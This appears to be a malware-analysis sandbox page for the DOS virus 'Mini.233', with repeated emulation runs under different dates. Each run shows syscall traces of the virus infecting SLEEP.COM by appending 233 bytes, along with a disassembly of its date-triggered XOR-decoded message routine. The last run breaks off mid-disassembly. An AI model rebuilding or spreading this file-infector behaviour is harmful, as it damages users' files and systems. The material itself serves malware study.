Sample viewer

vx.netlux.org/Virus.DOS.Mini.233

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:04.500246412Z 42 PC: 15154 | Get date 0x15154: cmp al, 5
0x15156: jne 0x1517b
0x15158: cmp dl, 0xd
0x1515b: jne 0x1517b
0x1515d: mov ax, 3
0x15160: int 0x10
0x15162: add di, 0xd3
0x15166: mov si, di
0x15168: mov cx, 0xa
0x1516b: lodsb al, byte ptr [si]
0x1516c: mov bx, 0x18f
0x1516f: mov ah, 0xe
0x15171: xor al, 0x55
0x15173: int 0x10
0x15175: loop 0x1516b
0x15177: int 0x10
0x15179: jmp 0x15177
0x1517b: push di
0x1517c: add di, 0xe3
0x15180: mov si, di
2018-12-17T23:07:04.503374737Z 47 PC: 1518f | Get disk transfer address
2018-12-17T23:07:04.504863906Z 78 PC: 1519a | Find first file
2018-12-17T23:07:04.511634258Z 61 PC: 151b9 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:04.519978326Z 66 PC: 151c6 | Move file pointer
2018-12-17T23:07:04.521461326Z 63 PC: 151d2 | Read file or device (Read 6 bytes on handle 5)
2018-12-17T23:07:04.528517745Z 66 PC: 151db | Move file pointer
2018-12-17T23:07:04.53006029Z 64 PC: 151e5 | Write file or device (Write 233 bytes on handle 5)
2018-12-17T23:07:04.545140038Z 66 PC: 15205 | Move file pointer
2018-12-17T23:07:04.546717827Z 64 PC: 1520e | Write file or device (Write 6 bytes on handle 5)
2018-12-17T23:07:04.557117775Z 87 PC: 15215 | Get or set file date and time
2018-12-17T23:07:04.560419303Z 62 PC: 15219 | Close file
2018-12-17T23:07:04.570638833Z 76 PC: 1514d | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15739,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:22.324060898Z 42 PC: 15154 | Get date 0x15154: cmp al, 5
0x15156: jne 0x1517b
0x15158: cmp dl, 0xd
0x1515b: jne 0x1517b
0x1515d: mov ax, 3
0x15160: int 0x10
0x15162: add di, 0xd3
0x15166: mov si, di
0x15168: mov cx, 0xa
0x1516b: lodsb al, byte ptr [si]
0x1516c: mov bx, 0x18f
0x1516f: mov ah, 0xe
0x15171: xor al, 0x55
0x15173: int 0x10
0x15175: loop 0x1516b
0x15177: int 0x10
0x15179: jmp 0x15177
0x1517b: push di
0x1517c: add di, 0xe3
0x15180: mov si, di
2018-12-25T12:44:22.327222178Z 47 PC: 1518f | Get disk transfer address
2018-12-25T12:44:22.328344435Z 78 PC: 1519a | Find first file
2018-12-25T12:44:22.335886962Z 61 PC: 151b9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:44:22.353693021Z 66 PC: 151c6 | Move file pointer
2018-12-25T12:44:22.355200918Z 63 PC: 151d2 | Read file or device (Read 6 bytes on handle 5)
2018-12-25T12:44:22.374141869Z 66 PC: 151db | Move file pointer
2018-12-25T12:44:22.391485065Z 64 PC: 151e5 | Write file or device (Write 233 bytes on handle 5)
2018-12-25T12:44:22.406628857Z 66 PC: 15205 | Move file pointer
2018-12-25T12:44:22.407970634Z 64 PC: 1520e | Write file or device (Write 6 bytes on handle 5)
2018-12-25T12:44:22.420737187Z 87 PC: 15215 | Get or set file date and time
2018-12-25T12:44:22.422568832Z 62 PC: 15219 | Close file
2018-12-25T12:44:22.441874459Z 76 PC: 1514d | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":4,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15739,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:22.391107027Z 42 PC: 15154 | Get date 0x15154: cmp al, 5
0x15156: jne 0x1517b
0x15158: cmp dl, 0xd
0x1515b: jne 0x1517b
0x1515d: mov ax, 3
0x15160: int 0x10
0x15162: add di, 0xd3
0x15166: mov si, di
0x15168: mov cx, 0xa
0x1516b: lodsb al, byte ptr [si]
0x1516c: mov bx, 0x18f
0x1516f: mov ah, 0xe
0x15171: xor al, 0x55
0x15173: int 0x10
0x15175: loop 0x1516b
0x15177: int 0x10
0x15179: jmp 0x15177
0x1517b: push di
0x1517c: add di, 0xe3
0x15180: mov si, di
2018-12-25T12:44:22.393926268Z 47 PC: 1518f | Get disk transfer address
2018-12-25T12:44:22.395446546Z 78 PC: 1519a | Find first file
2018-12-25T12:44:22.401129621Z 61 PC: 151b9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:44:22.408080959Z 66 PC: 151c6 | Move file pointer
2018-12-25T12:44:22.409440759Z 63 PC: 151d2 | Read file or device (Read 6 bytes on handle 5)
2018-12-25T12:44:22.415853747Z 66 PC: 151db | Move file pointer
2018-12-25T12:44:22.421375253Z 64 PC: 151e5 | Write file or device (Write 233 bytes on handle 5)
2018-12-25T12:44:22.435338966Z 66 PC: 15205 | Move file pointer
2018-12-25T12:44:22.437173785Z 64 PC: 1520e | Write file or device (Write 6 bytes on handle 5)
2018-12-25T12:44:22.444037125Z 87 PC: 15215 | Get or set file date and time
2018-12-25T12:44:22.446944718Z 62 PC: 15219 | Close file
2018-12-25T12:44:22.455599118Z 76 PC: 1514d | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":13,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15739,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:22.379392367Z 42 PC: 15154 | Get date 0x15154: cmp al, 5
0x15156: jne 0x1517b
0x15158: cmp dl, 0xd
0x1515b: jne 0x1517b
0x1515d: mov ax, 3
0x15160: int 0x10
0x15162: add di, 0xd3
0x15166: mov si, di
0x15168: mov cx, 0xa
0x1516b: lodsb al, byte ptr [si]
0x1516c: mov bx, 0x18f
0x1516f: mov ah, 0xe
0x15171: xor al, 0x55
0x15173: int 0x10
0x15175: loop 0x1516b
0x15177: int 0x10
0x15179: jmp 0x15177
0x1517b: push di
0x1517c: add di, 0xe3
0x15180: mov si, di